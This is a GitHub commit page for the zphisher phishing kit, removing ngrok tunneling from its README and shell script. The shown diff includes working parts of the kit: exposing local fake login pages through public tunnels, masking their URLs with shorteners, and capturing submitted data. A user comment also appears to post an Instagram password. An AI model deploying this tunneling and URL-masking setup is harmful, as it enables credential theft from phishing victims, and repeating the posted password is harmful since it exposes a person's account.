Skip to content

Commit

Permalink
Removed Ngrok #722
Browse files Browse the repository at this point in the history
  • Loading branch information
htr-tech authored Mar 24, 2023
2 parents 7a525d0 + 7574373 commit c7576fd
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 49 deletions.
1 change: 0 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,6 @@ It only demonstrates "how phishing works". <b>You shall not misuse the informati
- Beginners friendly
- Multiple tunneling options
- Localhost
- Ngrok
- Cloudflared

This comment has been minimized.

Copy link
@Shivam800535

Shivam800535 Jul 14, 2024

Instagram pasword
sanjanagupta7243

- LocalXpose
- Mask URL support
Expand Down
51 changes: 3 additions & 48 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@ reset_color() {

## Kill already running process
kill_pid() {
check_PID="php ngrok cloudflared loclx"
check_PID="php cloudflared loclx"
for process in ${check_PID}; do
if [[ $(pidof ${process}) ]]; then # Check for Process
killall ${process} > /dev/null 2>&1 # Kill the Process
Expand Down Expand Up @@ -300,25 +300,6 @@ download() {
fi
}

## Install ngrok
install_ngrok() {
if [[ -e ".server/ngrok" ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed."
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE}
arch=`uname -m`
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' 'ngrok'
elif [[ "$arch" == *'aarch64'* ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' 'ngrok'
elif [[ "$arch" == *'x86_64'* ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' 'ngrok'
else
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' 'ngrok'
fi
fi
}

## Install Cloudflared
install_cloudflared() {
if [[ -e ".server/cloudflared" ]]; then
Expand Down Expand Up @@ -468,28 +449,6 @@ capture_data() {
done
}

## Start ngrok
start_ngrok() {
cusport
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; }
echo -e "\n"
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
[[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us"
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."

if [[ `command -v termux-chroot` ]]; then
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
else
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
fi

sleep 8
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
custom_url "$ngrok_url"
capture_data
}

## Start Cloudflared
start_cloudflared() {
rm .cld.log > /dev/null 2>&1 &
Expand Down Expand Up @@ -565,7 +524,6 @@ tunnel_menu() {
cat <<- EOF
${RED}[${WHITE}01${RED}]${ORANGE} Localhost
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Account Needed${RED}]
${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
${RED}[${WHITE}04${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]
Expand All @@ -577,10 +535,8 @@ tunnel_menu() {
1 | 01)
start_localhost;;
2 | 02)
start_ngrok;;
3 | 03)
start_cloudflared;;
4 | 04)
3 | 03)
start_loclx;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand Down Expand Up @@ -625,7 +581,7 @@ custom_url() {
tinyurl="https://tinyurl.com/api-create.php?url="

{ custom_mask; sleep 1; clear; banner_small; }
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then
if [[ $(site_stat $isgd) == 2* ]]; then
shorten $isgd "$url"
elif [[ $(site_stat $shortcode) == 2* ]]; then
Expand Down Expand Up @@ -950,7 +906,6 @@ main_menu() {
kill_pid
dependencies
check_status
install_ngrok
install_cloudflared
install_localxpose
main_menu

0 comments on commit c7576fd

Please sign in to comment.